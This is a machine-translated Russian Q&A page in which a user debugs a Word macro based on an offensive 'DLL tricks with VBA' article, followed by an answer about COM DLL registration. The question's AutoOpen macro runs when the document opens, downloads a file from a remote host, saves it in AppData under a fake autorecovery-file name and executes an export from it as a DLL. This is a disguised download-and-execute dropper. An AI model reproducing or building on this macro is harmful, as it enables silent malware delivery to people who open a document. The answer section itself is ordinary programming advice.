Как динамически загрузить DLL в VBA с помощью DLL Trick - PullRequest
0 голосов
/ 08 октября 2019

Я читаю эту статью: https://labs.f -secure.com / archive / dll-tricks-with-vba-to-улучшение-наступление-макро-возможности / и по какой-то причине я могупохоже, не повторяет второй трюк Dll, т.е. хранит кажущиеся «законными» офисные файлы, которые действительно являются DLL.

Я уже пробовал создать простую DLL-библиотеку c # с экспортированной функцией, которая отображает только Message-коробка с надписью ".NET Assembly Running". Test.dll запускается так же из командной строки:

rundll32 test.dll,TestExport

Но когда я следую статье по какой-то причине, код продолжает давать сбой. Вот мой модифицированный VBA после следующей статьи:

Private Declare Sub TestExport Lib "Autorecovery save of Doc3.asd" ()

Sub AutoOpen()
    Dim PathOfFile As String
    PathOfFile = Environ("AppData") & "\Microsoft\Word"
    VBA.ChDir PathOfFile

    Dim remoteFile As String
    Dim HTTPReq As Object

    remoteFile = "http://192.168.100.2:8443/test.js"

    storein = "Autorecovery save of Doc3.asd"

    Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
    HTTPReq.Open "GET", remoteFile, False
    HTTPReq.send

    If HTTPReq.Status = 200 Then
        Set output = CreateObject("ADODB.Stream")
        output.Open
        output.Type = 1
        output.Write HTTPReq.responseBody
        output.SaveToFile storein, 2
        output.Close

        Module2.Invoke
    End If

End Sub

Sub Invoke()
    TestExport
End Sub

А вот код C # для DLL:


using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace Test
{
    class Test
    {
        [DllExport]
        public static void TestExport()
        {
            MessageBox.Show(".NET Assembly Running");
        }
    }
}

Я ожидал, что он будет работать, просто не знаю, почему это не такне подходит моему VBA.

1 Ответ

2 голосов
/ 08 октября 2019

Это не работает так в VBA. DLL должна быть COM DLL и быть загружена ссылкой на проект VBA. Это также означает, что DLL должна быть зарегистрирована в реестре Windows. Так что уберите свой C # и запустите VB.NET. Создайте проект DLL и выберите COM-CLASS из шаблонов.

Посмотрите на первую строку здесь (

<Assembly: CommandClass(GetType(ComClass3))> '<<<<add this !!!!
<ComClass(ComClass3.ClassId, ComClass3.InterfaceId, ComClass3.EventsId)>
Public Class ComClass3

#Region "COM-GUIDs"
Public Const ClassId As String = "94b64220-ce6e-400d-bcc0-d45ba56a14f7"
Public Const InterfaceId As String = "89a8c04e-e1fb-4950-85b2-7c1475156701"
Public Const EventsId As String = "af56d401-6492-4172-bf1e-10fa5e419aa4"
#End Region

Public Sub New()
    MyBase.New()
End Sub

sub test
  'your code
end sub 

End Class

Самое интересное, что по совету сборки все ваши сабвуферы и функции отображаются вVBA без каких-либо других действий.

ЧТОБЫ ПОЛУЧИТЬ ЭТУ РАБОТУ НАЧАТЬ ПРОТИВ В РЕЖИМЕ АДМИНИСТРАТОРА !!! В противном случае у него нет необходимых прав для автоматического выполнения регистрации dll.

Если вы счастливы использоватьнекоторый инструмент для преобразования кода в c #. Также возможно просто сделать интерфейс как обертку в VB.net :) Теперь вы можете ссылаться на dll в VBA и делать все с ней, как вы можете делать с другими dll, которые работаютв VBA. Как:

    SUB tester
        dim x= new comclass3
        x.test
    end sub  

Некоторые подводные камни, которые я забыл упомянуть. VBA и .NET не говорят все время на одном и том же языке строк. Тупо один путь конвертируется автоматически - обратного пути нет. Один говорит, например, в UTF8, а другой - в BSTR. Поэтому, если ничего не возвращается или мусор возвращается, скорее всего, вы выбрали не тот преобразователь строк. Я использую конвертер автоматического определения из .net, если это необходимо. Вы можете сойти с ума от этого. Также не смешивайте 32-битный и 64-битный код или указатели. AutoCAD, например, немедленно обстреляет из этого. (Какой бы гениальный рисунок вы не имели внутри - это не волнует).

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...